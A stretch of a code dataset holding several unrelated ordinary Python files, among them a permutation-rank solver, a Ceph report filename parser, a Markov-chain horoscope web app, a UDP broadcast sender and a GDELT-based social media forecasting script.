player_c.turn =3\n\n\n\n\n","sub_path":"events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"461733821","text":"# AABCDD DBACAD\n\n\ndef factorial(n):\n result = 1\n for i in range(1, n+1):\n result *= i\n return result\n\n\ndef same_char(word):\n result = []\n length = len(word)\n for char in word:\n word = word.replace(char, '')\n result.append(length - len(word))\n length = len(word)\n result = [i for i in result if i > 0]\n return result\n\n\ndef product(list_):\n result = 1\n for i in list_:\n result *= factorial(i)\n return result\n\n\ndef listPosition(word):\n sorted_word = ''.join(sorted(word))\n counter = 0\n for char in word:\n previous = ''\n for schar in sorted_word:\n if schar == previous:\n continue\n if schar == char:\n break\n divisor_list = same_char(word.replace(schar, '', 1))\n counter += factorial(len(word) - 1) / product(divisor_list)\n previous = schar\n word = word.replace(char, '', 1)\n sorted_word = sorted_word.replace(char, '', 1)\n return int(counter + 1)\n\n\ndef main():\n while True:\n word = input('\\nEnter a word:')\n if word == 'x':\n exit()\n print(listPosition(word))\n\n\nif __name__ == '__main__':\n main() ","sub_path":"practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"404046352","text":"#!/usr/bin/env python\n\nimport errors\nimport generic\nimport treexml\nimport xmlext\nimport re\n\nclass Handler(generic.Handler):\n def run(self):\n if self.method == 'post':\n # posting metadata for this object\n value = self.data\n tag = self.resource\n self.site.insert_meta(self.type, self.name, tag, value)\n elif self.resource.startswith('rec'):\n recstr = self.resource.lstrip('rec')\n target_type = ''\n num_recs = 0\n if recstr.startswith('-one-'):\n target_type = recstr.lstrip('-one-')\n num_recs = 1\n elif re.search('^-(item|user)s$', recstr):\n target_type = re.findall('^-(item|user)s$', recstr)[0]\n #treexml.insert_node(self.response, 'debug', self.query)\n try:\n num_recs = int(self.query['num'][0])\n except:\n num_recs = 10\n recids = self.site.get_recs(self.type, self.name, target_type, '', num_recs)\n recs = []\n rank = 0\n for recid in recids:\n rank += 1\n recs.append({'rank':repr(rank), target_type:[{'id':recid}]})\n treexml.insert_node(self.response, 'recommendations', {'rec':recs})\n","sub_path":"scripts/res/objres.py","file_name":"objres.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"403359117","text":"from __future__ import annotations\n\nimport re\nimport argparse\nimport datetime\nfrom enum import Enum\nfrom typing import NamedTuple, Dict, Tuple, Callable, Optional\n\n\nCLUSTER_NAME_RE = \"[0-9a-zA-Z_-]+$\"\nCLIENT_NAME_RE = \"[0-9a-zA-Z_-]+$\"\n\n\nclass FileType(Enum):\n report_arch = 1\n report_html = 2\n historic = 3\n key = 4\n enc = 5\n meta = 6\n\n\ntype_mapping: Dict[FileType, Tuple[str, Optional[str]]] = {\n FileType.report_arch: (\".tar.gz\", \"ceph_report.\"),\n FileType.report_html: (\".html\", \"ceph_report.\"),\n FileType.historic: (\".bin\", \"ceph_historic.\"),\n FileType.enc: (\".enc\", None),\n FileType.key: (\".key\", None),\n FileType.meta: (\".meta\", None),\n}\n\n\nencapsulated_types = {FileType.key, FileType.meta, FileType.enc}\n\n\ncustomer_re = re.compile(\"[0-9a-z_-]+$\")\ncluster_re = customer_re\n\n\nFileInfoId = Tuple[str, str, datetime.datetime]\nClusterId = Tuple[str, str]\n\n\nclass FileInfo(NamedTuple):\n ftype: FileType\n ref_name: Optional[str]\n ref_ftype: Optional[FileType]\n customer: str\n cluster: str\n collect_datetime: datetime.datetime\n\n @property\n def id(self) -> FileInfoId:\n return self.customer, self.cluster, self.collect_datetime\n\n @property\n def name(self) -> str:\n body = f\"{self.customer}.{self.cluster}.{self.collect_datetime:%Y_%b_%d}.{self.collect_datetime:%H_%M}\"\n if self.ftype and self.ftype in encapsulated_types:\n assert self.ref_ftype\n base_suffix, base_prefix = type_mapping[self.ref_ftype]\n body = f\"{'' if base_prefix is None else base_prefix}{body}{base_suffix}\"\n suffix, prefix = type_mapping[self.ftype]\n return f\"{'' if prefix is None else prefix}{body}{suffix}\"\n\n def copy(self, **update) -> FileInfo:\n attrs = {name: getattr(self, name) for name in self.__annotations__ if name not in update}\n for name in update:\n assert name in self.__annotations__\n attrs.update(update)\n return FileInfo(**attrs)\n\n\ndef get_file_type(name: str) -> Tuple[Optional[FileType], Optional[str]]:\n for tp, (suffix, prefix) in type_mapping.items():\n if name.endswith(suffix):\n if tp in encapsulated_types:\n return tp, name[:-len(suffix)]\n elif not prefix or name.startswith(prefix):\n return tp, name[len(prefix) if prefix else 0:-len(suffix)]\n else:\n return None, None\n\n\ndef parse_file_name(name: str) -> Optional[FileInfo]:\n ftype, rest = get_file_type(name)\n if ftype is None:\n return None\n\n if ftype in encapsulated_types:\n assert rest is not None\n ref_ftype, rest = get_file_type(rest)\n ref_name = rest\n if ref_ftype in encapsulated_types:\n return None\n else:\n ref_ftype = ref_name = None\n\n assert rest is not None\n parts = rest.split(\".\")\n if len(parts) != 4:\n return None\n\n customer, cluster, cdate, ctime = parts\n\n if not (customer_re.match(customer) and cluster_re.match(cluster)):\n return None\n\n try:\n dtm = datetime.datetime.strptime(f\"{cdate}.{ctime}\", \"%Y_%b_%d.%H_%M\")\n except ValueError:\n return None\n\n return FileInfo(ftype=ftype, ref_name=ref_name,\n ref_ftype=ref_ftype, customer=customer, cluster=cluster,\n collect_datetime=dtm)\n\n\ndef re_checker(pattern: str) -> Callable[[str], str]:\n rr = re.compile(pattern)\n\n def check(param):\n if not rr.match(param):\n raise argparse.ArgumentTypeError\n return param\n\n return check\n","sub_path":"ceph_report/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"402321799","text":"import torch\nimport torch.utils.data\nimport pandas as pd\nfrom sklearn.preprocessing import StandardScaler,MinMaxScaler\nfrom sklearn.decomposition import PCA\nimport pickle\n\ndef load_dataloader(tabular_data,batch_size,args):\n obtain_shape = tabular_data.shape\n samples = int(obtain_shape[0] / batch_size)\n train_labels = torch.zeros((samples * batch_size, 1),device=torch.device(args.device)) # No of zeros\n train_set = [(tabular_data[i, :], train_labels[i]) for i in range(samples * batch_size)]\n return torch.utils.data.DataLoader(train_set, batch_size=batch_size, shuffle=False)\n\n\ndef make_train_data(args,encodedDataframe):\n #dataset = pd.read_csv(args.sample_data)\n Tabular_data = torch.tensor(encodedDataframe.iloc[:, :].values)\n #Scaling the data for future predictions\n sc = MinMaxScaler()\n Tabular_data = sc.fit_transform(Tabular_data)\n #Diemensionality reduction to avoid overfitting\n pca = PCA()\n Tabular_data = pca.fit_transform(Tabular_data)\n\n MinMax_Scaler_file = \"MinMax_Scaler.pickle\"\n pickle.dump(sc, open(args.output_dir + MinMax_Scaler_file, 'wb'))\n pca_file = \"pca.pickle\"\n pickle.dump(pca, open(args.output_dir + pca_file, 'wb'))\n return load_dataloader(tabular_data=Tabular_data, batch_size=args.batch_size,args = args)\n","sub_path":"Data/Dataset.py","file_name":"Dataset.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"4814493","text":"import sys\r\nimport gensim, logging\r\nimport urllib.request\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt \r\n\r\n\r\ndef download_model():\r\n logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\r\n urllib.request.urlretrieve('http://rusvectores.org/static/models/rusvectores2/ruscorpora_mystem_cbow_300_2_2015.bin.gz', 'ruscorpora_mystem_cbow_300_2_2015.bin.gz')\r\n\r\n m = 'ruscorpora_mystem_cbow_300_2_2015.bin.gz'\r\n if m.endswith('.vec.gz'):\r\n model = gensim.models.KeyedVectors.load_word2vec_format(m, binary=False)\r\n elif m.endswith('.bin.gz'):\r\n model = gensim.models.KeyedVectors.load_word2vec_format(m, binary=True)\r\n else:\r\n model = gensim.models.KeyedVectors.load(m)\r\n\r\n model.init_sims(replace=True)\r\n return model\r\n\r\n\r\ndef sem_field(model):\r\n words = ['красный_A', 'алый_A', 'багровый_A', 'багряный_A', 'пунцовый_A']\r\n red_G = nx.Graph()\r\n red_G.add_nodes_from(words)\r\n for node_word in words:\r\n for word in words:\r\n if word in model:\r\n cos_dist = model.similarity(node_word, word)\r\n if cos_dist > 0.5:\r\n red_G.add_edge(node_word, word)\r\n else:\r\n print(word + ' is not present in the model')\r\n print('узлы', red_G.nodes())\r\n print('рёбра', red_G.edges())\r\n return red_G\r\n\r\n\r\ndef create_graph(red_G):\r\n pos=nx.spring_layout(red_G)\r\n nx.draw_networkx_nodes(red_G, pos, node_color='black', node_size=30)\r\n nx.draw_networkx_edges(red_G, pos, edge_color='purple')\r\n nx.draw_networkx_labels(red_G, pos, font_size=10, font_family='Arial')\r\n plt.axis('off')\r\n plt.show()\r\n\r\n #самые центральные слова\r\n centr_words = []\r\n deg_centr_words = nx.degree_centrality(red_G)\r\n for nodeid in sorted(deg_centr_words, key=deg_centr_words.get, reverse=True):\r\n centr_words.append(nodeid)\r\n print('Самые центральные слова графа:' + str(centr_words[0]) + ',' + str(centr_words[1]) + '.')\r\n\r\n #радиус графа\r\n print('Радиус графа:' + str(nx.radius(red_G)))\r\n\r\n #коэффициент кластеризации\r\n print('Коэффициент кластеризации:' + str(nx.average_clustering(red_G)))\r\n print(nx.transitivity(red_G))\r\n \r\ndef main():\r\n model = download_model()\r\n red_G = sem_field(model)\r\n create_graph(red_G)\r\n \r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n\r\n\r\n \r\n","sub_path":"2 курс/word2vec+networkx/sem_model.py","file_name":"sem_model.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"96088352","text":"import re\nfrom os import listdir\nclass FileNotFound(Exception):\n\tdef __init__(self):\n\t\tprint(\"File not found\")\ntry:\n\tfiles = listdir(\".\")\n\tsummry=[]\n\tmytxt = filter(lambda x: x.endswith('.txt'), files)\n\tif mytxt is None:\n\t\traise FileNotFound()\n\tfor i in range(0,len(mytxt)):\n\t\tf = open(mytxt[i],'r')\n\t\tfor name in f:\n\t\t\tif not re.match('^[A-Z][a-z]+\\s[A-Z][a-z]+\\n$', name) is None :\n\t\t\t\tsummry.append(name)\n\tsummry.sort()\n\tsummry_file = open('./summry', 'w')\n\tfor i in summry:\n\t\tsummry_file.write(i)\n\tsummry_file.close()\nexcept FileNotFound as ex:\n\tprint(\"File not found\")\nexcept IOError:\n\tprint(\"Can't open file\")\t\n","sub_path":"Smbat_Sargsyan/Homework/Python/dir/dir_file.py","file_name":"dir_file.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"53974268","text":"# scikit_impl.py\nimport numpy as np\n\nfrom sklearn import tree\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_val_score\n\n\ndef run_knn(df):\n \"\"\"\n Standard Scikit implementation of a decision tree,\n return the cross validated accuracy and confusion matrix\n so that we can compare it with my implementation.\n \"\"\"\n print(\"\\nRunning scikit-learn implementation:\")\n X = df.drop(df.columns[len(df.columns) - 1], axis=1)\n y = df.iloc[:, len(df.columns) - 1]\n\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33)\n\n dtree = tree.DecisionTreeClassifier(criterion='entropy', max_leaf_nodes=8)\n dtree.fit(X_train, y_train)\n dtree_predict = dtree.predict(X_test)\n\n cv_scores = cross_val_score(dtree, X, y, cv=10)\n\n return {\n 'accuracy': cv_scores,\n 'mean_accuracy': np.mean(cv_scores),\n 'confusion': confusion_matrix(y_test, dtree_predict)\n }\n","sub_path":"project/scikit_impl.py","file_name":"scikit_impl.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"41974248","text":"\"\"\" By Muhammed Alkan \"\"\"\r\nimport os\r\nimport json\r\nwith open(\"config/settings.json\") as f:\r\n data = json.load(f)\r\nprint(end=\"\") if data[\"creator\"] == \"Muhammed_ALKAN\" else quit(\"FAKE COPY OR WRONG AUTHOR.\")\r\nif not os.name == \"nt\":\r\n quit(\"OS Needed Be Windows.\")\r\nelse:\r\n pass\r\ndef main():\r\n from class_ import as_\r\n from funcs import wms\r\n qo = as_()\r\n qo.say(wms())\r\n while 1:\r\n print(\"λ: \", end=\"\")\r\n usr = qo.phrase()\r\n qo.anw(usr)\r\n continue\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"mainf.py","file_name":"mainf.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"108400148","text":"import copy\nfrom scipy import optimize, integrate\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport datetime\nimport json\nimport time\nimport random\nimport math\nimport os, csv\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom src.utils import load_csv_data\nfrom src.ModelTree import ModelTree\nfrom sklearn.metrics import mean_squared_error as mse\n\nfrom sklearn.linear_model import LinearRegression,BayesianRidge,LogisticRegression,Ridge\nfrom sklearn.metrics import r2_score\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn.metrics import mean_squared_error as mse\nfrom sklearn.preprocessing import PolynomialFeatures\n\nfrom random import randrange, uniform\n\nimport seaborn as sns\n\n# load data:\nwith open(\"darpa_data_raw/cp4_nodelist.txt\",'r') as wf:\n selected_na = [line.strip() for line in wf]\n \nsplit = 46\nplatform = \"twitter\"\ndata_path = \"./data_json/\"\ntext_path = \"./data_json/\"\nwith open(data_path + platform + \"_time_series_to_2_7.json\") as f:\n twitter_file = json.loads(f.read())\n twitter = {k: pd.read_json(v, orient='columns') for k, v in twitter_file.items()}\n\nwith open(data_path + \"youtube_time_series_to_2_7.json\") as f:\n youtube_file = json.loads(f.read())\n youtube = {k: pd.read_json(v, orient='columns') for k, v in youtube_file.items()}\n \nwith open(text_path + \"gdelt_time_series.json\",encoding=\"utf-8\") as f:\n gdelt_file = json.loads(f.read())\n gdelt = {k: pd.read_json(v, typ='series') for k, v in gdelt_file.items()}\n\nwith open(text_path + 'corrmat_to_2_7.json', 'r') as f:\n corr = json.loads(f.read())\n\neventCodeMap = corr['eventCodeMap']\nnarrativeMap = corr['narrativeMap']\ntwitterGdeltMat = np.array(corr['youtubeGdeltMat'])\ntwitterGdeltMat[np.array(corr['youtubeGdeltMat']) == -2] = -1\nyoutubeGdeltMat = np.array(corr['youtubeGdeltMat'])\nyoutubeGdeltMat[np.array(corr['youtubeGdeltMat']) == -2] = -1\neventCode = [event for event in eventCodeMap]\n#narrative = [event for event in twitter]\nnarrative = [event for event in youtube]\n\nwith open(text_path + 'corrmat_bert_all_norm.json', 'r') as f:\n corr_text = json.loads(f.read())\ntwitterGdeltMat_text = np.array(corr_text['twitterGdeltMat'])\nyoutuveGdeltMat_text = np.array(corr_text['youtubeGdeltMat'])\nnarrativeMap_text = corr_text['narrativeMap']\n\ndef dataloader_yt(gdelt_cut, corr_cut, option):\n X_train, X_test, Y_train, Y_test, sample_weight = [], [], [], [], []\n filted_gdelt = []\n for event in gdelt:\n if gdelt[event].sum() > gdelt_cut:\n filted_gdelt.append(event)\n for item in narrative:\n for i in range(split):\n if option == 'EventCount':\n Y_train.append(youtube[item].EventCount.tolist()[i])\n elif option == 'UserCount':\n Y_train.append(youtube[item].UserCount.tolist()[i])\n else:\n Y_train.append(youtube[item].NewUserCount.tolist()[i])\n X = []\n sample_weight.append(sum(youtube[item].EventCount.tolist()))\n for event in filted_gdelt:\n if youtubeGdeltMat[eventCodeMap[event],narrativeMap[item]] > corr_cut:\n X.append(gdelt[event].tolist()[i] * youtubeGdeltMat[eventCodeMap[event],narrativeMap[item]])\n else:\n X.append(0)\n X_train.append(np.array(X))\n for i in range(split, 60):\n '''\n if option == 'EventCount':\n Y_test.append(youtube[item].EventCount.tolist()[i])\n elif option == 'UserCount':\n Y_test.append(youtube[item].UserCount.tolist()[i])\n else:\n Y_test.append(youtube[item].NewUserCount.tolist()[i])\n '''\n X = []\n for event in filted_gdelt:\n if youtubeGdeltMat[eventCodeMap[event],narrativeMap[item]] > corr_cut:\n X.append(gdelt[event].tolist()[i] * youtubeGdeltMat[eventCodeMap[event],narrativeMap[item]])\n else:\n X.append(0)\n X_test.append(np.array(X))\n return X_train, X_test, Y_train, Y_test, sample_weight\n\ndef dataloader(gdelt_cut, corr_cut, option):\n X_train, X_test,Y_train, Y_test, sample_weight = [], [], [], [], []\n filted_gdelt = []\n for event in gdelt:\n if gdelt[event].sum() > gdelt_cut:\n filted_gdelt.append(event)\n print(len(filted_gdelt))\n for item in narrative:\n for i in range(split):\n if option == 'EventCount':\n Y_train.append(twitter[item].EventCount.tolist()[i])\n elif option == 'UserCount':\n Y_train.append(twitter[item].UserCount.tolist()[i])\n else:\n Y_train.append(twitter[item].NewUserCount.tolist()[i])\n X = []\n sample_weight.append(sum(twitter[item].EventCount.tolist()))\n for event in filted_gdelt:\n if twitterGdeltMat[eventCodeMap[event],narrativeMap[item]] > corr_cut:\n X.append(gdelt[event].tolist()[i] * twitterGdeltMat[eventCodeMap[event],narrativeMap[item]])\n else:\n X.append(0)\n X_train.append(np.array(X))\n for i in range(split, 60):\n '''\n if option == 'EventCount':\n Y_test.append(twitter[item].EventCount.tolist()[i])\n elif option == 'UserCount':\n Y_test.append(twitter[item].UserCount.tolist()[i])\n else:\n Y_test.append(twitter[item].NewUserCount.tolist()[i])\n '''\n X = []\n for event in filted_gdelt:\n if twitterGdeltMat[eventCodeMap[event],narrativeMap[item]] > corr_cut:\n X.append(gdelt[event].tolist()[i] * twitterGdeltMat[eventCodeMap[event],narrativeMap[item]])\n else:\n X.append(0)\n X_test.append(np.array(X))\n return X_train, X_test,Y_train, Y_test, sample_weight\n\ndef evaluation(Y_test, Y_pred):\n rmse = np.sqrt(mse(np.array(Y_test).cumsum()/(sum(Y_test) + 0.1), np.array(Y_pred).cumsum()/(sum(Y_pred) + 0.1)))\n ape = 1. * abs(sum(Y_test) - sum(Y_pred)) / sum(Y_test)\n return rmse, ape\n\ndef draw_m2(index, pred):\n plt.plot(twitter[narrative[index]].EventCount.tolist())\n plt.plot(range(split,39), pred)\n plt.legend(['GT', 'Prediction'], frameon=False)\n plt.grid(axis=\"y\")\n plt.tight_layout()\n plt.xticks(np.arange(0, len(date[:40]), 3), date[:40:3], rotation='60')\n plt.title(\"Prediction for EventCount of %s\" %narrative[index])\n plt.tight_layout()\n #plt.savefig(\"fig/%d.pdf\" % index)\n plt.show()\n\ndef nonlinear(gdelt):\n for event in gdelt:\n date = gdelt[event].index\n for item in date:\n gdelt[event][item] = gdelt[event][item] * (1 + log(1 + gdelt[event][item]))\n\ndef decay(gdelt, decay_factor):\n Y = copy.deepcopy(gdelt)\n for event in gdelt:\n date = gdelt[event].index\n for i in range(len(date)):\n if i == 0:\n continue\n gdelt[event][date[i]] = decay_factor * gdelt[event][date[i-1]] + Y[event][date[i]] - Y[event][date[i-1]]\n return gdelt\n\n\ndef dec(X, decay, last_x = None, last_y = None, fac = False):\n Y = copy.deepcopy()\n res = []\n for i in range(len(X)):\n if i == 0:\n if fac:\n res[i] = decay * last_y + Y[i] - last_x\n else:\n continue\n res[i] = decay * res[i-1] + Y[i] - Y[i-1]\n return res\n\ndef postprocess(pred):\n pred = np.array([int(item) for item in pred])\n pred[np.where(pred < 0)] = 0\n return pred\n \n#nonlinear(gdelt)\ngdelt = decay(gdelt, 0.95)\n'''\nfor option in ['EventCount', 'UserCount', 'NewUserCount']:\n X_train, X_test, , Y_train, Y_test, sample_weight = dataloader(7000,0, option)\n print(\"=========================X_train===============================\")\n print(X_train[0])\n print(len(X_train))\n print(\"=========================X_test===============================\")\n #print(X_test)\n print(\"========================================================\")\n #print()\n print(\"=========================Y_train===============================\")\n print(Y_train)\n print(len(Y_train))\n print(\"=========================Y_test===============================\")\n #print(Y_test)\n print(\"=========================sample_weight===============================\")\n #print(sample_weight)\n print(\"========================================================\")\n break\n'''\nresult = dict()\ndepth1 = dict()\noutput = dict()\nfrom models.linear_regr import linear_regr\nmodel = linear_regr()\nfor item in narrative:\n result[item] = {'EventCount':[], 'UserCount':[], 'NewUserCount':[]}\n depth1[item] = {'EventCount':[], 'UserCount':[], 'NewUserCount':[]}\n output[item] = {'EventCount':{}, 'UserCount':{}, 'NewUserCount':{}}\nd = 1\n#for d in range(6):\n\n\nif d == 1:\n print(\"depth:\", d)\n for option in ['EventCount', 'UserCount', 'NewUserCount']:\n X_train, X_test,Y_train, Y_test, sample_weight = dataloader_yt(0,0, option)\n #print(len(X_train), len(X_test), len(Y_train), len(Y_test))\n '''\n regression = LinearRegression(fit_intercept=False,normalize=True)\n regression.fit(X_train, Y_train)\n Y_pred = regression.predict(X_test)\n Y_pred = postprocess(Y_pred)\n '''\n #last_x = X_train[]\n #X_train = decay(X_train, 0.85)\n model_tree_1 = ModelTree(model, max_depth=0, min_samples_leaf=10, search_type=\"greedy\", n_search_grid=10)\n model_tree_1.fit(np.array(X_train), np.array(Y_train))\n #decay(X_test, 0,85)\n Y_pred = model_tree_1.predict(np.array(X_test))\n Y_pred = postprocess(Y_pred)\n \n \n X_train, X_test, Y_train, Y_test, sample_weight = dataloader_yt(200, 0, option)\n\n for index in range(len(narrative)):\n #regression = LinearRegression(fit_intercept=False,normalize=True)\n #decay(X_train, 0.85)\n #regression.fit(X_train[split * index: split * (index + 1)], Y_train[split * index: split * (index + 1)])\n #decay(X_test, 0,85)\n #pred = postprocess(regression.predict(X_test[14 * index: 14 * (index + 1)]))\n #ratio = sum(pred) / (sum(Y_pred[14 * index: 14 * (index + 1)]) + 0.1)\n #ratio = 1\n #rmse_, ape_ = evaluation(Y_test[14 * index: 14 * (index + 1)], ratio * np.array(Y_pred[14 * index: 14 * (index + 1)]))\n #rmse_, ape_ = evaluation(Y_test[14 * index: 14 * (index + 1)], pred)\n #rmse += rmse_\n #ape += ape_\n #result[narrative[index]][option] = postprocess(ratio * np.array(Y_pred[14 * index: 14 * (index + 1)]))\n #result[narrative[index]][option] = pred\n X = np.array(X_train[split * index: split * (index + 1)])\n y = np.array(Y_train[split * index: split * (index + 1)])\n bag = 10\n placeholder = []\n #bag == 15:\n # random forest\n \n for i in range(bag):\n X_real = copy.deepcopy(X)\n Y_real = copy.deepcopy(y)\n depth = randrange(4)\n leaf = randrange(4,7)\n mask_num = randrange(1,4)\n for j in range(mask_num):\n mask = randrange(len(X_real))\n X_real = np.delete(X_real, mask, 0)\n Y_real = np.delete(Y_real, mask, 0)\n # single one\n leaf = 5\n depth = 0\n X_real = X\n Y_real = y\n # train\n treemod = ModelTree(model, max_depth=depth, min_samples_leaf=leaf, search_type=\"greedy\", n_search_grid=10)\n treemod.fit(X_real, Y_real, verbose=False)\n pred1 = postprocess(treemod.predict(np.array(X_test[14 * index: 14 * (index + 1)])))\n ratio1 = sum(pred1) / (sum(Y_pred[14 * index: 14 * (index + 1)]) + 0.1)\n pred = postprocess(ratio1 * np.array(Y_pred[14 * index: 14 * (index + 1)]))\n placeholder.append(pred)\n placeholder = np.array(placeholder)\n final_pred = placeholder.mean(axis = 0)\n\n result[narrative[index]][option] = final_pred\n \n #print(\"RMSE: %f, APE: %f\" %(rmse/len(narrative), ape/len(narrative)))\n '''\n rmse, ape, size = 0, 0, 0\n rmse1, ape1, size1 = 0,0,0\n '''\n for index in range(len(narrative)):\n\n if narrative[index] in selected_na:\n this = result[narrative[index]][option]\n '''\n rmse_, ape_ = evaluation(Y_test[14 * index: 14 * (index + 1)], this)\n size += sum(this)\n #rmse_, ape_ = evaluation(Y_test[14 * index: 14 * (index + 1)], pred)\n rmse += rmse_\n ape += ape_\n '''\n #draw_m2(index, result[narrative[index]][option])\n # write file\n \n sdate = 1549584000000 # 2-7\n for i in range(len(this)):\n output[narrative[index]][option][str(sdate + i * 86400000)] = int(this[i])\n \n '''\n rmse_, ape_ = evaluation(Y_test[14 * index: 14 * (index + 1)], depth1[narrative[index]][option])\n size1 += sum(depth1[narrative[index]][option])\n rmse1 += rmse_\n ape1 += ape_\n '''\n \n #print(\"RMSE: %f, APE: %f, Size: %f\" %(rmse/len(selected_na), ape/len(selected_na), size))\n #print(\"RMSE for depth 1: %f, APE for depth 1: %f, Size for depth 1: %f\" %(rmse1/len(selected_na), ape1/len(selected_na), size1))\n\nfinal = {}\nfor na in selected_na:\n final[na] = pd.DataFrame(output[na]).to_json()\nwith open('youtube_UIUC_NN_GDELT_.json', 'w') as outfile:\n json.dump(final, outfile)\n\n'''\nfor item in narrative:\n for i in range(len(result[item]['UserCount'])):\n if result[item]['UserCount'][i] < result[item]['NewUserCount'][i]:\n result[item]['UserCount'][i] = result[item]['NewUserCount'][i]\n\n'''\n","sub_path":"bigmod_data_proc 2.py","file_name":"bigmod_data_proc 2.py","file_ext":"py","file_size_in_byte":14181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"587267886","text":"# udp start broadcasting\nimport socket\nimport time\n\nmsg0 = \"TD-1,10-7b-44-87-76-51,1234567\"\nsock = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)\n\nwhile True:\n #msg = f\"[{i}]{msg0}\" #ERORR=TypeError: a bytes-like object is required, not 'str'\n msg = f\"{msg0}\".encode(\"utf-8\")\n sock.sendto(msg, ('192.168.43.255', 12345))\n print(msg)\n time.sleep(1)\n","sub_path":".udp_broadcasting_start.py","file_name":".udp_broadcasting_start.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"612387288","text":"# %load q01_cond_prob/build.py\n# So that float division is by default in python 2.7\nfrom __future__ import division\n\nimport pandas as pd\n\ndf = pd.read_csv('data/house_pricing.csv')\n\n\n# Enter Code Here\ndef cond_prob(df):\n total = df.shape[0]\n old_town = df[df['Neighborhood'] == 'OldTown'].shape[0]\n conditional_prob = float((old_town/total)*((old_town-1)/(total-1))*((old_town-2)/(total-2)))\n return conditional_prob\n\n#cond_prob(df)\n\n\n\n\n\n","sub_path":"q01_cond_prob/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"35634021","text":"from bottle import*\nfrom random import choice\nimport random\nimport datetime\nfrom datetime import date\nimport string\n\nhoroscope = {}\n\n\n@route('/forer')\n@view('html_marking')\ndef for_sign():\n\n fate = choice((\"хорошо\", \"плохо\"))\n #return dict(sign=html_marking,dest = fate)\n\n\ndef getTextFromHoroscope(sign):\n d = date.today()\n if (d, sign) not in horoscope:\n horoscope[(d, sign)] = gen_horoscope()\n\n return horoscope[(d, sign)]\n\n\ndef show_time():\n now = datetime.datetime.now()\n now = now.strftime('%a. %d %b %Y')\n return now\n\n\ndef prepare_horoscope():\n with open('text.txt', encoding='utf-8') as f:\n global words\n words = []\n words = f.read().split()\n markov_chain = {}\n for i in range(0, len(words) - 2):\n key = (words[i], words[i+1])\n markov_chain.setdefault(key, [])\n markov_chain[key].append(words[i+2])\n return markov_chain\n\n\ndef gen_horoscope():\n stopsentence = (\".\", \"!\", \"?\",)\n markov_chain = prepare_horoscope()\n size = 25\n gen_words = []\n seed = random.randint(0, len(words) - 3)\n w1 = words[seed]\n while (w1.isupper() or w1.islower()):\n seed = random.randint(0, len(words) - 3)\n w1 = words[seed]\n w2 = words[seed+1]\n\n for i in range(0, size-1):\n gen_words.append(w1)\n try:\n w3 = choice(markov_chain[(w1,w2)])\n except KeyError:\n break\n w1, w2 = w2, w3\n\n while True:\n gen_words.append(w1)\n if w1[-1] in stopsentence:\n break\n try:\n w3 = choice(markov_chain[(w1,w2)])\n except KeyError:\n break\n w1, w2 = w2, w3\n result = ' '.join(gen_words)\n return result\n\n\ndef sign_period(ast_sign):\n periods = {'Овен': '20 марта — 19 апреля','Телец': '20 апреля — 20 мая', 'Близнецы':\n'21 мая — 20 июня','Рак':\n'21 июня — 22 июля', 'Лев':\n'23 июля — 22 августа', 'Дева':\n'23 августа — 22 сентября', 'Весы':\n'23 сентября — 22 октября', 'Скорпион':\n'23 октября — 21 ноября', 'Стрелец':\n'22 ноября — 21 декабря', 'Козерог':\n'22 декабря — 19 января', 'Водолей':\n'21 января — 18 февраля', 'Рыбы':\n'19 февраля — 19 марта'}\n\n get_period = periods[ast_sign]\n return get_period\n\n\n@route('/forer/')\n@view('ast_sign')\ndef get_page(ast_sign):\n h = getTextFromHoroscope(ast_sign)\n t = show_time()\n this_period = sign_period(ast_sign)\n return dict(sign = ast_sign, h = h, t = t, this_period = this_period)\n\n\nrun(host='localhost', port=8080, debug=True)\n\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"201163860","text":"n, k = map(int, input().split())\ncount = 0\n\nmoney = []\nfor i in range(n):\n money.append(int(input()))\n\n# 큰 단위의 화폐부터 차례대로 확인\nmoney.sort(reverse=True)\nfor i in money:\n # 해당 화폐로 거슬러 줄 수 있는 동전의 개수 세기\n count += k // i\n k %= i\nprint(count)","sub_path":"doyeon/BOJ/★그리디 